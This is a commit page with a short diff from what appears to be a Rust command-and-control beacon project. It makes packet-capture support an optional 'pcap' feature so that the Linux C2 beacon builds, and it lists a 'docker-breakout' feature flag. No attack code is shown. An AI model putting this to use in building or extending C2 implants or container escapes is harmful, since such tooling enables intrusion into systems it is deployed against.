Finished adding a basic flake
It can now build the Linux C2 beacon
This commit is contained in:
@@ -16,13 +16,13 @@ catconf = "0.1.2"
|
||||
sparse-05-common = { version = "0.1.0", path = "../sparse-05-common" }
|
||||
ecies-ed25519 = { version = "0.5.1", features = ["serde"] }
|
||||
packets = { path = "../../packets" }
|
||||
|
||||
[target.'cfg(unix)'.dependencies]
|
||||
pcap-sys = { path = "../../pcap-sys" }
|
||||
pcap-sys = { path = "../../pcap-sys", optional = true }
|
||||
|
||||
[build-dependencies]
|
||||
cc = "1.0"
|
||||
|
||||
[features]
|
||||
default = ["pcap"]
|
||||
docker-breakout = []
|
||||
exit = []
|
||||
pcap = ["dep:pcap-sys"]
|
||||
|
||||
@@ -9,7 +9,7 @@ use packets::{self, EthernetPkt};
|
||||
use sparse_05_common::messages::TransportType;
|
||||
|
||||
pub enum Interface {
|
||||
#[cfg(target_os = "linux")]
|
||||
#[cfg(feature = "pcap")]
|
||||
RawUdp(pcap_sys::Interface<pcap_sys::DevActivated>, u16),
|
||||
Udp(UdpSocket, u16),
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user